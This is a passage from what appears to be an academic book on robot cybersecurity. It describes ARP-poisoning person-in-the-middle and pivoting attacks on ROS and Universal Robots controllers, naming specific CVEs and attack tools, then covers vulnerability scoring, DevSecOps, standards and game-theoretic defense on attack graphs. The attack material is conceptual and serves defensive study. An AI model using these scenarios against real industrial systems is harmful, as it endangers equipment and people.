demonstrate how to heavily impact the ROS and ROS-Industrial operation.

####  3.2.3 $A_{3}$: Targeting a Control Station through a PitM attack

Figure 3.5: Use case architecture diagram with a PitM attack: the attackers
infiltrate a machine (step 1) which is then used to perform ARP poisoning
(step 2) and get attackers inserted in the information stream (step 3). From
there, attackers could replay content or modify it as desired.

A PitM attack targeting a control station (e.g. $\hat{S_{2}}$) consists of an
adversary gaining access to the network flow of information and sitting in the
middle, interfering with communications between the original publisher and
subscriber as desired. Figure 3.5 depicts how PitM demands to conflict not
just with the resolution and addressing mechanisms but also to hijack the
control protocol being manipulated (ROSTCP in this particular scenario). The
attack gets initiated by a malicious actor gaining access and control of a
machine in the network (Step 1). Then, using the compromised computer on the
control network, the attacker poisons the ARP tables on the target host
($\hat{S_{7}}$) and informs its target that it must route all its traffic
through a specific IP and hardware address (Step 2, i.e., the attackers’ owned
machine). By manipulating the ARP tables, the attacker can insert themselves
between $\hat{S_{7}}$ and $\hat{S_{2}}$333The attack described in here is a
specific PitM variant known as ARP PitM. (Step 3). When a successful PitM
attack is performed, the hosts on each side of the attack are unaware that
their network data is taking a different route through the adversary’s
computer.

Once an adversary has successfully inserted their machine into the information
stream, they then have full control over the data communications and could
carry out several types of attacks. Figure 3.5 shows one possible attack
realization method which is the replay attack (Step 4). In its simplest form,
captured data from $\hat{S_{7}}$ is replayed or modified and replayed. During
this replay attack, the adversary could continue to send commands to the
controller and/or field devices to cause an undesirable event while the
operator is unaware of the true state of the system.

####  3.2.4 $A_{4}$: Targeting a vulnerable robot endpoint to compromise the
network

Figure 3.6: Use case architecture diagram with an insider threat: In orange,
we illustrate a failed attack over a Universal Robots controller hardened with
the Robot Immune System (RIS). In red, a successful unrestrained code
execution attack over a Universal Robots controller with the default setup and
configuration allows us to pivot and achieve both $G_{1}$ and $G_{2}$.

One of the interesting observations made by [77] is that often, robot
endpoints are considered as part of the critical path of production and
manufacturing processes. Correspondingly, unless there’s a functional issue
and production stops, robots are rarely _modified_ or updated (their
firmware). This leads to (robot) connected endpoints that are easy to target
and from where an attacker could pivot into the industrial networks. Figure
3.6 depicts one of such scenarios where Mayoral-Vilches et al. attempted first
to compromise $\hat{C_{6}}$ (failed) and then $C_{3}$ using previously
reported and known (yet unresolved) zero-day vulnerabilities in the Universal
Robots CB3.1 controller. Examples of such zero-days include RVD#1413
(CVE-2016-6210), RVD#1410 (CVE-2016-6515), RVD#673 (CVE-2018-10635) or
RVD#1408 (CVE-2019-19626) among others. Due to the lack of concerns for
security from manufacturers like Universal Robots, these end-points can easily
become rogue and serve as an entry point for malicious actors. [77]
successfully prototyped a simplified attack using RVD#1495 (CVE-2020-10290)
and taking control over $C_{3}$. From that point on, they demonstrated how one
could access not just ROS network but also the underlying network, pivot
($A_{1}$), disrupt ($A_{2}$) or PitM ($A_{3}$) as desired. Such
vulnerabilities are useable to define game-theoretic defenses as they set the
action spaces for the attacker as a player in the game (see Section 5.2.1) and
can determine the playground, as in Section 5.1.

##  Chapter 4 Security Practice and Design

An obvious proposal towards hardening the security is always the adoption of
stronger cryptographic algorithms, such as quantum computer resistant schemes
[12], called _post-quantum cryptography_. It is fair to note that such schemes
do not per se require quantum computing, but are rather based on (quite
classical) calculations that are believed to remain intractable to solve even
on quantum computers. The most prominent insecure problems on which public-key
cryptography can be based are factorization or discrete logarithms, both of
which are tractable by quantum computing using the algorithms of [131].
Reports on the integration and feasibility studies of post-quantum
cryptographic schemes are provided by [141], and found the computational
overhead to be comparable, yet partly even outperforming some more traditional
security protocols on OSI layer three. The perhaps more interesting
application of quantum computing is herein for enhanced capabilities of the
robot perception, reasoning, and general functionality, as has been studied by
[105], with a diverse and rich discussion about quantum computing capabilities
for future robotic systems.

###  4.1 Penetration Testing

Returning to Section 2.3.3 and the specific examples therein (see Figures 2.1,
2.2, and 2.3), filling the roles of each player (master, slave, publisher,
subscriber, etc.) is doable by tools like ROSPenTo [61] or Roschaos [147].
Both have different primary abilities to either conduct precise manipulations
on a small scale (ROSPenTo) or destroy the network with large force API
(Roschaos). Both tools come with command line interfaces allowing to _script_
attacks along the sequence diagrams as above, or more generally ones. The
three example attacks mentioned above are described by [36] with full call
sequences in these two tools.

A useful auxiliary tool is roswtf [90], which can be run to identify a set of
attack patterns, and bring up vulnerabilities in ROS nodes that need fixing.
This is a special case of the more general procedure of vulnerability
scanning, covered next.

###  4.2 Vulnerability Scanning

Broadening the view, methods from network security naturally apply in
robotics, as we also have distributed systems with many components talking to
each other. In turn, a TVA identifies weaknesses of components and scores them
according to best practices and standards. Commercial tools like OpenVAS [43]
or Nessus [139] systematically search the network, collect information about
the components, and query open databases for reported vulnerabilities. From
this data, reports are compiled that list potential vulnerability, optionally
ranked by severity. A popular ranking in this regard is the CVSS [49], which
provides a score between 0 and 10, with 10 being critical and 0 signifying
irrelevance. However, as of version 3.0 of CVSS, it has been found to not
satisfactorily cover the particularities of robotic systems, particularly
matters of _safety_. In a nutshell, CVSS considers a categorical rating in a
set of metrics, each with its individual scale of values, and each category
contributing individually to the overall severity score. Below, we briefly
outline the metrics, but refer the interested reader to the respective
specifications for details, as we leave it up to the self-explanatory nature
of the metric at this point, and since the numerical computations of a score
from the categories are only of secondary interest here. Our point is that
this popular scoring scheme lacks specific metrics of relevance in the
robotics context.

CVSS rates a vulnerability in three dimensions, each of which compiles a score
from different ingredients. The scoring, as a process, starts with a
categorization of various properties of the system and an exploit. These
include (but are not limited to) the level of priveledges required, kind of
access (network only, or physical, etc.), and many more. We shall keep the
details in the following at a level high enough to exemplify the deficiencies
of CVSS to apply for robotic systems, but nonetheless pointing out the general
method of systematizing the vulnerability judgment is indispensable for a
comprehensive security design, and to construct the defense game structure and
playground (see Chapter 5).

The CVSS score dimensions with determining factors are the following triple,
with the respective metrics as they appear in CVSS named italicized:

  1. 1.

Base score: this score distinguishes aspects of exploitability and impact,
both of which are rated individually:

     * •

Exploitation is judged from the context by which vulnerability exploitation is
possible (attack vector (AV)), conditions beyond the attacker’s control that
must exist to exploit the vulnerability (attack complexity (AC)), level of
privileges an attacker must possess before successfully exploiting the
vulnerability (priviledges required (PR)), requirements for a user, other than
the attacker, to participate in the successful compromise of the vulnerable
component (user interaction (UI)), and the ability for a vulnerability in one
software component to impact resources beyond its means, or privilege (scope
(S)).

     * •

Impact covers the classical confidentiality, integrity and availability goals.
Please note that here, like in many related standards, authenticity is not in
the primary focus, substantiating our exposition above on the use of
cryptographic certificates in this respect, and pointing out that authenticity
and access control cannot be considered as covered by using vulnerability
scanners or the CVSS methodology.

  2. 2.

Temporal score: this one measures the likelihood of the vulnerability being
attacked, based on the current state of exploit techniques (Exploit Code
Maturity (E)). It further depends on the remediation state of a vulnerability
(the less official and permanent fix, the higher the vulnerability scores on
the remediation level (RL)), and on the degree of confidence in the existence
of the vulnerability and the credibility of the known technical details
(report confidence (RE)).

  3. 3.

Environmental score: like the base score, this one also distinguishes
exploitability and impact, and to this end considers the same ingredients as
the base score, only prefixing them as “modified” in all cases, i.e., the
scores are the “modified-” versions of AV, AC, PR, UI and S, in turn called
MAV, MAC, MPR, MUI and MS for the exploitation, and MC, MI, and MA for the
impact. In both cases, they shall enable the analyst to adjust the base
metrics according to modifications that exist within the analyst’s
environment.

All these variables appearing in upper-case letters above can take values on
their own individual categorical scales, which the CVSS method then translates
into numbers, and compiles the scores with given formulae. Overall, the result
is a three-dimensional numeric vector $(B,T,E)\in[0,10]^{3}$ to describe a
vulnerability. It turns out, however, that this classification can miss out on
vulnerabilities in the robot context.

Accordingly, [143] have designed the RVSS as an extension over CVSS, whose
changes we summarize below for brevity, since RVSS inherits all metrics from
CVSS, only with a few but important refinements. Their effect will later be
illustrated by a comparative example showing how CVSS and RVSS rate
vulnerabilities different:

  * •

CVSS speaks about the context by which vulnerability exploitation is possible
as the attack vector (AV), taking categorical values in $\\{$Network (N),
Adjacent Network (A), Local (L), Physical (P)$\\}$. RVSS adopts a more refined
view here by dividing the category N into subcategories being _remote network_
(RN), and _adjacent network_ (AN), and internal network, as well as
distinguishing physical access into _public_ ,_restricted_ or _isolated_. In
turn, each of these categories receives its own score and needs distinction to
accurately capture a robotic system.

  * •

RVSS adds a few new metrics to the base, temporal and environmental scores,
related to age and safety aspects; in detail, the additional metrics are

    * –

Age (Y), measuring the timespan since the vulnerability was first reported (in
years), with categories being Zero Day (Z), $<$ 1 year (O), $<$ 3 years (T),
$\geq 3$ years (M), and Unknown (U).

    * –

Modified Age (MY), so that the analyst can adjust the base metrics according
to modifications that exist within the analyst’s environment.

    * –

Safety (H), which measures potential physical hazards on humans or the
environment. Categorical possible values are Unknown (U), None (N),
Environmental (E), and Human (HU).

    * –

Modified Safety (MH), to enable the analyst to customize score depending on
the importance of this aspect

    * –

Safety Requirement (HR), which the analyst can use to adjust the base metrics
according to modifications that exist within the analyst’s environment.

[143] corroborates this proposal by providing a comparison of CVSS and RVSS
metrics, based on vulnerabilities identified in real-life robot system
implementations. Table 4.1 gives an overview of the results, where it is
particularly interesting to note that the last example would come with an
overall zero score in CVSS, while RVSS does indicate at least medium severity.

Vulnerability description | RVSS | CVSSv3
---|---|---
Missing authorization mechanisms in a protocol allows remote attackers to gain unauthorized control the robots via network communication | (7.7, 7.7, 7.7) | (9.1, 9.1, 9.1)
An attacker on an adjacent network could perform command injection | (10, 10, 10) | (8.8, 8.8, 8.8)
An stack-based buffer overflow in a TCP service could allow remote attackers to execute arbitrary code and alter protected settings via specially crafted packets | (10, 10, 10) | (10, 10, 10)
Exemplary vulnerability in ROS 2.0 communication middleware: Launching on arm64 with FastRTPS with fat archive from 2018-06-21 never quits | (5.9, 5.9, 5.9) | (0, 0, 0)
Table 4.1: Comparison of RVSS and CVSS [143]

###  4.3 DevSecOps

Software quality in robotics is often understood as _execution according to
design purpose_ whereas security is perceived as _the robot will not put data
or computing systems at risk of unauthorized access_ [74]. In this section, we
introduce DevSecOps in the context of robotics, a set of best practices
designed to help roboticists implant security deep in the heart of their
development and operations processes.

The compound word “DevOps” is a join between development and IT operations,
and today describes an agile IT operations service delivery, understood not as
a framework, method or body of knowledge, but rather as a “working philosophy”
seeking to unify cultures, practices, and tools related to development and
operation. In other words, knowing that people from the development area have
a different attitude and working style compared to people from IT operations,
DevOps is the aim of bridging these differences. Robotics maybe offers a
particularly complex gap to bridge in this regard, especially when it comes to
security, since it demands collaboration between people from software
development, computer hardware design, mechanical engineering, and other
disciplines. Adding security on top is yet its own challenge, since the
awareness about potential threats may largely differ between people from these
areas. For example, people specialized in software engineering rarely need to
consider physical damage caused to people, as their primary concern is about
processing (and maybe protection) of data. Similarly, mechanical engineers
rarely need to worry about data confidentiality matters. In robotics, we find
an interesting divergence in the understanding of the terms _safety_ and
_security_ , and it is worthwhile bearing in mind both “definitions” when
people join forces to develop robots:

  * •

system security context: safety $=$ protection against unintended attacks
(i.e., by nature), vs. security $=$ protection against intentional attacks
(e.g., by hackers).

  * •

robot context: safety $=$ prevention of any harm that the robot could do, vs.
security $=$ prevention of any damage to the robot itself.

DevOps can be decomposed in two alternatingly connected cycles of development
and operation phases, as shown in Figure 4.1a. The idea of DevSecOps is adding
an optional branch back into the Dev- or the Ops-cycle to “break” the
alternation pattern if necessary. The individual phases have their own
software aids and organizational procedures, and the challenge of DevOps is to
get these under a common denominator of collaboration. Still, the duties in
each phase are separable:

  * •

_code_ : this summarizes the writing, review, versioning, documentation,
merge, and all other aspects of code authoring.

  * •

_build_ : this includes all matters of compilation, ranging from a plain
compilation of source files, until the application of modern build tools
(e.g., Ant, Maven, etc.).

  * •

_test_ : besides running pre-defined use-cases, unit tests and the automated
generation of test cases is part of this phase, as well as tests with users,
including usability evaluations. Specifically, usability needs a distinction
based on the “customer” of the component, which may be the end-user who buys
the final product and gets to see only its official user interface, or whether
it is a team colleague coming later in the DevOps cycle and itself concerned
with software development, integration, testing, deployment, or other phases
inside DevOps.

  * •

_configure_ is the phase of putting the system into an initial configuration
for deployment. For security, this means (among others) to set initial access
credentials with enforced change upon first (one-time) use, defining a startup
procedure, etc.

  * •

_deployment_ is the process of wrapping everything up for an installation in a
productive environment. This entails a preparatory phase to package not only
executable files, but also resources on which these depend, up to including
platforms (operating systems, virtual machines), etc, as well as the actual
installation at the customers’ premises or in a testing environment.

  * •

_monitoring_ is the continuous surveillance of system performance indicators,
but also the collection of data related to economic aspects (business case)
and the collection of customer feedback (tickets, etc.).

  * •

_analyze_ compiles the results from the monitoring for different purposes,
among them predictive analytics (of the system performance, but also for an
early warning about security incidents, e.g., intrusion detection), for the
general purpose of identifying the potential for improvement.

  * •

_planning_ takes all information collected from the operational (Ops) phases
and reconsiders the current system design accordingly. With security as an
additional explicit focus, this feedback includes risk analysis and evaluation
results (from ISO31000 processes or similar).

DevOps aims at a continuous evaluation of the system’s design in the Dev
phase, or its operation in the Ops cycle. Figure 4.1b illustrates this by the
two arrows as return directions into the respective cycles. Both correspond to
an instance of the well-known Plan-Do-Check-Act cycle of risk management
standards like ISO31000. Advanced software engineering may explicitly
establish the ISO PDCA cycle (plan-do-check-act) within the Dev and the Ops
cycle. Specifically, this means an explicit account of security matters during
the respective phases, in particular including (but not limited to):

  * •

Zoning: delineation of areas whose security requirements differ; for example,
parts of the system to which access is highly sensitive, as opposed to other
parts of a system that may be more open to public access. This also includes a
logic division into components that undergo different maintenance procedures
(like updates), where zoning – for security – means the consideration of side-
effects and security implications when a component becomes replaced or
updated, or implemented with redundancy (for availability). Typical tools in
this regard include containerization (e.g., Docker) or general virtualization
technology.

  * •

Compliance and attestation: throughout the design but also the operational
phases, processes need documentation, with a continuous focus on compliance
for periodic or continuous risk assessments. ISO 31000 is one framework to
formalize the documentation and processes to this end.

  * •

Logging, monitoring, and database management: likewise as for the
certification, all activity in the system needs monitoring and logging for
forensic purposes, root cause analyses for error tracking, and also as part of
compliance certification (see the previous item).

  * •

Authentication and authorization, implemented by techniques of access control
and identity management. Authenticity herein refers to subjects and needs
distinction from the authenticity of data, which is a separate duty (discussed
next). Subjects herein include not only people but also components, for which
a proof of authenticity is usually called _attestation_ (see above).

  * •

Data security, meaning confidentiality (by encryption), availability (by
redundancy), integrity (by cryptographic hash sums), and authenticity (by
digital certificates). Further goals can include non-repudiation (using proper
logging and access control), and general data quality management [29]. Most
importantly, the management of keys (for symmetric as well as public-key
cryptography) is explicitly included here, spanning the entire lifecycle of
keys from generation, distribution, use, update, revocation, escrow,
archiving, recovery, and secure destruction of cryptographic keys and general
access credentials.

  * •

Network security, including the “standard techniques” like firewalls, network
segmentation, etc., but also more advanced security models like black clouds,
a.k.a., software-defined perimeters.

Integrating the PDCA cycle into the DevOps cycle is a matter of linking the
respective phases to one another, such as possibly in the following way:

PDCA phase | DevSecOps phase
---|---
plan | plan, test, monitor and analyze
do | plan, code, build and test
check | configure, test, monitor and analyze
act | code, build, test, configure and deploy

The correspondence is showing overlaps, meaning that the planning phase in ISO
risk management has an apparent link to the planning phase in DevOps, but the
two having different aims: while “plan” in DevOps relates to the system
design, in particular, the phase with the same name in risk management
prescribes to include risk mitigation controls in the system. Naturally, this
should go into the planning for the development, but not exclusively, as input
from the testing, monitoring, and analysis phases can be relevant and useful
for risk management as well. The correspondence above shall be understood as
explicitly bi-directional, meaning that risk management phases draw inputs
from DevOps phases, and DevOps phases need to draw input from the risk
management phases vice versa.

The approach of planning first, then implementing the plan (do), followed by
monitoring how well the plan meets expectations (check), and working on
improvements based on lessons learned (act) within the DevOps cycle (see
Figure 4.1b). Alluding more to security, we can consider _structural
improvements_ to the system as running through a PDCA cycle in the
development, and (in parallel) _operational improvements_ by running the
system in the best possible way. Game theory can help with both regards in
several ways:

  * •

for structural, i.e., design, choices, we can set up games to define the best
resource investment related to security. For instance, there are game models
to determine where to place honeypots [68, 11] in networks. Different in
concept is the application of games to quantify the security of components;
for example, the question of how to run a distributed ledger, say, for secure
logging, with quantifiable and guaranteed security. This has been studied by
[5], for example. A third notable application regards adversarial artificial
intelligence, where robust optimization [144] is applied, assuming a rational
adversary trying to trick a machine learning system from its intended into a
dysfunctional behavior.

  * •

for operational security, moving target defense is a matter of changing
configurations (e.g., access credentials [115], etc.), or randomization of
transmissions (as studied by [119]), or even hardware design using
randomization of register use (usually a precaution to prevent remote code
execution by buffer overflows, known as address space layout randomization).

Some illustrative selected examples will follow in Sections 5.1 and 5.2.2.

(a) DevOps as alternation between development and operational phases

(b) DevSecOps by integration of (two) PDCA cycles

###  4.4 Relevant International Standards

The (in)security of robots is mostly rooted in the fast digitalization of the
branch. Traditionally, robots have been used in (networked) isolation without
connections to the outside. Now, with increasing connectedness, the security
issues of other connected systems also affect robotics. When developing a new
robot or a robot-based application, security is actually an important
requirement. Due to the complexity of these systems, assuring security is a
non-trivial task that is mostly application-specific. In order to develop a
common set of criteria for robot security, the most relevant international
standard is the IEC-62443 “Industrial communication networks - IT security for
networks and systems” standards series. It defines requirements and processes
for multiple actors involved in developing a secure industrial system, namely
the component vendor, the system integrator, and the end user. IEC-62443
defines multiple security levels depending on which kind of attacks a system
should be secured against (ranging from incidental manipulation to highly-
skilled groups with extensive resources). Based on the process and
requirements defined in IEC-62443, structured, security-enhanced development
processes like DevSecOps can be employed to build secure robot systems.

Figure 4.1: Safety standards of relevance for robotics and their relationship.

Safety standards ECSS standards European Cooperation for Space Standardization
(ECSS) standards space DO-297 (and others) Integrated Modular Avionics (IMA)
Development Guidance and Certification Considerations avionics IEC 61508
Functional safety of electrical/ electronic/programmable electronic safety-
related systems ISO 26262 Road vehicles — Functional safety automotive IEC
61513 Nuclear power plants - Instrumentation and control important to safety
nuclear EN ISO 13849 Safety of machinery - Safety-related parts of control
systems control IEC 62304 Medical device software - Software life-cycle
processes medical EN 5012X family Family of standards, functional safety for
rail industry railway industrial

As pointed in previous sections, there’s an intrinsic connection between
safety and security. Safety cares about the robot not harming the environment
(or humans) whereas security deals with the opposite, aims to ensure the
environment does not conflict with the robot’s programmed behavior. Functional
safety standards reflect this aspect. Figure 4.1 depict functional safety
standards that are relevant in robotics and the connection between them.

At the European level, The Machinery Directive, Directive 2006/42/EC of the
European Parliament and of the Council of 17 May 2006 [37] is a European Union
directive whose main intent is to ensure a common safety level in machinery
placed on the market, including robotics. In a other words, it seeks to
harmonize machine safety requirements. It’s important to note that directives
are ratified by the EU as a whole, then each member country is expected to
implement its own local laws, regulations and standards to enforce the
directive. So the directive is subject to interpretation by lawmakers and
regulatory authorities and standards organizations and to further
interpretation by companies that design, build and use machinery.

While only the machinery directive itself can be considered a law, the text
itself is too broad for industry to apply directly. Accordingly, two
alternative European standards were developed by the International
Organization for Standardization (ISO) and the International Electrotechnical
Commission (IEC) in compliance with EU Machinery Directive 2006/42/EC: EN ISO
13849-1 and EN 62061, both inspired by IEC 61508 ”Functional Safety of
Electrical/Electronic/Programmable Electronic Safety-related Systems”. IEC
61508 is often considered as the meta-standard for safety safety and from
where most functional safety norms grow. IEC 61508 indicates the following in
section 7.4.2.3:

> ”If the hazard analysis identifies that malevolent or unauthorised action,
> constituting a security threat, as being reasonably foreseeable, then a
> security threats analysis should be carried out.”

Moreover, section 7.5.2.2 from IEC 61508 also states:

> “If security threats have been identified, then a vulnerability analysis
> should be undertaken in order to specify security requirements.”

which translates to security requirements. Note these requirements are
complementary to other security requirements specified in other standards like
IEC 62443, and specific to the robotic setup in order to comply with the
safety requirements of IEC 61508. In other words, safety requirements spawn
from security flaws, which are specific to the robot and influenced by
security research. Periodic security assessments should be performed and as
new vulnerabilities are identified, they should be translated into new
security requirements. More importantly, the fulfillment of these security
requirements to maintain the robot protected (and thereby safe) will demand
pushing the measures to the robot endpoint. Network-based monitoring solutions
will simply not be enough to prevent safety hazards from happening. Safety
standards demand thereby for a security mechanism that protects the robot
endpoints and fulfill all the security requirements, a REPP.

##  Chapter 5 Game Theory for Robotic System Security

Before describing the more general terms of game theory and its security
application, let us illustrate the basic idea of how to use game theory on a
simple game set up on the output artifacts of a (conventional) TVA (Section
4.2), and penetration testing tools (Section 4.1).

A general game is cooked from three ingredients:

  * •

A set of players, here being only two: a defender (player 1) versus an
attacker, as player 2.

  * •

A set of actions for both players, which depends on the possibilities of
defense and attack, resp. penetration. These actions sets are widely
unrestricted in terms of how their elements look like, but an “action” can be
understood as any prescription (arbitrarily complex) on how to act towards a
certain goal. This description can range from very simple yes/no decisions, up
to complex attack patterns entailing whole sequences of command and control,
similarly as in Figure 2.2, for instance.

  * •

A set of utility functions, for each player, which quantifies the revenue upon
the joint actions taken by all players. This is in many cases the most
intricate component to specify, since it is supposed to compile a numeric
value that all players are supposed to optimize by taking certain actions. For
security, this bears the challenge of aggregating perhaps several security
goals in the utility value, as well as it also needs to accurately reflect the
incentives of each player in the competition. The construction of proper
payoff functions is at the core of most game theoretic models for security,
with the second core ingredient being the actual solution of the game; in many
cases an equilibrium.

An equilibrium is a strategy profile that once jointly implemented by all
players, does not leave any player with an incentive to deviate from it, given
that no other player does so. It is thus a strict selfish perspective, not
precluding the possibility to join forces with other players to gain more from
the game than one could get alone. In security, however, we mostly assume
players to act on their own, as security teams can in many instances be
modeled as a single player with a respectively more complex ability to take
actions.

In the following, we describe a simple instance of a game that is directly
playable on an attack graph, such as a TVA would deliver. This has the appeal
of naturally inducing the respective action sets, as well as utility
functions, in the game about chasing an invisible intruder throughout the
attack graph.

###  5.1 Introduction by Example: Chasing the Adversary on Attack Graphs

Suppose that we are dealing with a stealthy attacker that tries to penetrate a
system, _e.g._ , a ROS instance, and seeks to conquer a certain node in it,
_e.g._ , an actor element to cause (physical) damage, or to reconfigure it to
produce minor quality in the long run (say, by placing less welding points or
otherwise causing quality deterioration).

To illustrate the game and results, consider a very simple system consisting
of three machines, one of which (Machine 0) is under an adversary’s control,
trying to take further control over a particular ROS node, here machine 2. It
aims to do so by either directly sending commands to machine 2, or taking a
detour over machine 1. Note that we here, in Figure 5.1a adapted the example
originally due to [133] for the network context, but analogously applicable to
ROS too. Figure 5.1b shows an exemplary attack graph with condition nodes
(boxes), exploit nodes (ellipses), and starting and finishing points of the
attack. The predicates shown along the way represent access takeover events
using a certain technique (_e.g._ , a file transfer to a remote host
(ftp_rhost) or remote shell (rsh) access, from machine A to machine B, denoted
as “parameters” to the respective predicates. Further exploits concern buffer
overflows (bof) in specific protocol stacks (e.g., ssh) or on the local node’s
firmware).

(a) Infrastructure (adapted from literature)

(b) Attack Graph [133]

No. |  Attack path
---|---
1 |  execute(0) $\to$ ftp_rhosts(0,1) $\to$ rsh(0,1) $\to$ ftp_rhosts(1,2) $\to$ rsh(1,2) $\to$ local_bof(2) $\to$ full_access(2)
2 |  execute(0) $\to$ ftp_rhosts(0,1) $\to$ rsh(0,1) $\to$ rsh(1,2) $\to$ local_bof(2) $\to$ full_access(2)
3 |  execute(0) $\to$ ftp_rhosts(0,2) $\to$ rsh(0,2) $\to$ local_bof(2) $\to$ full_access(2)
4 |  execute(0) $\to$ rsh(0,1) $\to$ ftp_rhosts(1,2) $\to$ sshd_bof(0,1) $\to$ rsh(1,2) $\to$ local_bof(2) $\to$ full_access(2)
5 |  execute(0) $\to$ rsh(0,1) $\to$ rsh(1,2) $\to$ local_bof(2) $\to$ full_access(2)
6 |  execute(0) $\to$ rsh(0,2) $\to$ local_bof(2) $\to$ full_access(2)
7 |  execute(0) $\to$ sshd_bof(0,1) $\to$ ftp_rhosts(1,2) $\to$ rsh(0,1) $\to$ rsh(1,2) $\to$ local_bof(2) $\to$ full_access(2)
8 |  execute(0) $\to$ sshd_bof(0,1) $\to$ rsh(1,2) $\to$ local_bof(2) $\to$ full_access(2)

(c) Attack paths in the graph shown in Fig 5.1b

Figure 5.1: Example Playground for Cut-The-Rope

The mathematical game played on the attack graph proceeds along the following
lines:

  1. 1.

The intruder runs through several exploits in a sequence, hiding its traces
and leaving backdoors for an easy return later on. The intruder can become
active at any time (including nights and weekends), and can become active at
any frequency (be attacking often in short time, or remaining idle for longer
periods). While we do not assume the defender to “see” the activities of the
adversary, we nonetheless assume that the defender knows the “rate” $\lambda$
at which the attacker becomes active per time unit. That is, we adopt an
assumption on the knowledge of a value $\lambda$ that measures the “number of
penetrations per time unit”.

The attacker is thus free to pick any attack path, _a.k.a._ _attack vector_ ,
to reach its goal. And here comes a practical difficulty, since there are
generally exponentially many options here. Reducing the complexity of attack
graphs to subsequently keep the possibilities within feasible bounds to fix
them is a matter beyond our scope here, but important to bear in mind when
constructing the attack graph. One simple mean is grouping nodes with similar
vulnerabilities or exploits, and other techniques take advantage of game
theory here too, and include only those attack vectors who are “most
promising”, assuming that the attacker will not pursue a path with unnecessary
many obstacles on it. Commercial tools to compile attack graphs (e.g., [33])
or theoretical accounts for attack-defense games [124] list methods here to
reduce the complexity. In the example shown in Figure 5.1, the table in Figure
5.1c shows an exhaustive list of all attack paths that the intruder could
follow. The smallness of the example admits this listing here.

  2. 2.

The defender chooses a point in the attack graph to inspect, corresponding to
a physical node (perhaps the same physical node for several nodes in the
attack graph), i.e., monitor for suspicious activity, update or patch it,
change credentials, _etc_. Knowing how often the attacker is supposed to
become active (the value $\lambda$), the defender can invoke a Poisson
distribution to model the probabilistic depth of penetration into the system
from the starting point. If knowledge of $\lambda$ is unrealistic, then
alternatives are equally admissible, say, taking a CVSS or RVSS score to
express the difficulty of mounting an attack or exploit, and by that
knowledge, describing probabilistically how deep the intruder already has made
it into the system.

Note that this particular game assumes the defender to become active in fixed
intervals, like working days, or working shifts. These intervals determine the
time unit relative to which the attacker’s activity level $\lambda$ is
measured. Generalizations to 24/7 security response teams are possible, yet
not deeper discussed here.

  3. 3.

The goals of the two players are, for the attacker, to hit the designated
target node (here, machine 2), while it is the defender’s aim to keep it away
from machine 2 as good as it can. Note that the defender has no guarantee of
ever being successful in really “catching” the intruder upon an inspection,
and it may have quite good chances to miss it at all, if the adversary walks
in along a different attack path, than the defender is currently checking.

This means that there are basically two possible outcomes upon a spot check,
i.e., when the defender takes action in the game:

     * •

it can, most likely unknowingly, clean a node from a backdoor that the
adversary has previously left there. In that case, the attacker is sent back
to an earlier node in the attack graph and needs to penetrate the node again
that the defender has just cleaned or reconfigured. This effect gives the game
it’s name as “Cut-The-Rope”, since the attacker’s rope from the beginning down
to the target has been “cut” by the defender.

     * •

it has checked a node that was completely outside the route that the adversary
is on, or that may be on the attacker’s route towards its goal, but it has not
reached it yet. In both cases, the defense action remains without any effect
for the defender, or the attacker (except for the adversary having
accomplished another step towards the goal undisturbed.

The quantitative goal for both players is to maximize, respectively minimize,
the chances for the intruder to hit its goal. The defender then needs to pick
its actions so that the chances to hit machine 2 are minimized, while the
attacker will pick its attack vectors towards maximizing the probability to
hit its target.

This is already a qualitative, yet informal, mathematical game played on an
attack graph, where the action spaces for the attacker are the exploit nodes,
and the action space for the defender is all nodes where a spot check, patch
or reconfiguration is doable for a defense. It is an instance of a moving
target defense, and implementable by very simple means; in the case of this
particular game, the code is freely available from [137].

The result of the computation, as for most game-theoretic models, is a
threefold information:

  * •

an optimal decision making scheme for the defender to act best against the
opponent

  * •

a likewise optimal behavior for the attacker,

  * •

and an equilibrium payoff to both players, quantifying their revenue if the
respective other player is taking its optimal actions.

We call a strategy profile that simultaneously optimizes the payoffs for all
players, respecting mutual negative or positive correlations between their
individual payoffs, an _equilibrium_. For the game in Figure 5.1, it comes as
an optimal inspection schedule for the defender, _i.e._ , prescribing the
frequency and random choice of system components to patch, update and scan for
malware. The second part of the equilibrium is a likewise optimal choice rule
about attack paths for the adversary. We leave this information out here, but
_explicitly warn_ about taking the attacker’s optimal behavior as a guideline
on where to defend! This seemingly natural use of the result is dangerous in
light of there being other equally optimal ways for the attacker to win the
game besides what the game computes, and hence a defense should generally not
be built on a hypothetical model of where the attacker is expected to hit (not
even if this information comes out of a game optimization). Essentially, it is
thus best for the defender to implement the defense that the game computes as
explicit equilibrium for the defender, but the likewise information for the
attacker must be taken with care. The good news is that the equilibrium
defense strategy will be optimal in any case of adversarial behavior,
conditional on the attacker not coming up with unexpected attacks such as
_zero-day_ exploits. Conditional on the attacker acting only _within_ its
(modeled) attack set, there is no way of improving the defender’s performance
by any deviation motivated by what we think the attacker would do in the game.

For the example in Figure 5.1, we find the optimal defense to be inspecting
machine 2 continuously, eventually preventing a buffer overflow to occur
locally (node 7 in the graph in Figure 5.1). This is not surprising, given the
fact that all attack paths eventually must traverse node 7, making it the most
promising point to establish a defense. If a permanent fix to this node is
possible, then the topology of the attack graph of course changes, either by
adding new links and nodes, or by cutting the target node off so that the
graph becomes disconnected. This practically optimal case can, however, hardly
be expected to happen in reality. Still, since the attacker could have been
active over the defender’s capabilities, leaving a residual chance of hitting
the target before the first inspection on the vulnerable node 7. Eventually,
what the game analysis gives us, corresponding to the three result items
mentioned above, is the following information [116]:

  * •

optimal defense: check machine 2 for buffer overflows, _i.e._ , keep node 7
under protection in the attack graph.

  * •

optimal attack: take path execute(0) $\to$ ftp_rhosts(0,2) $\to$ rsh(0,2)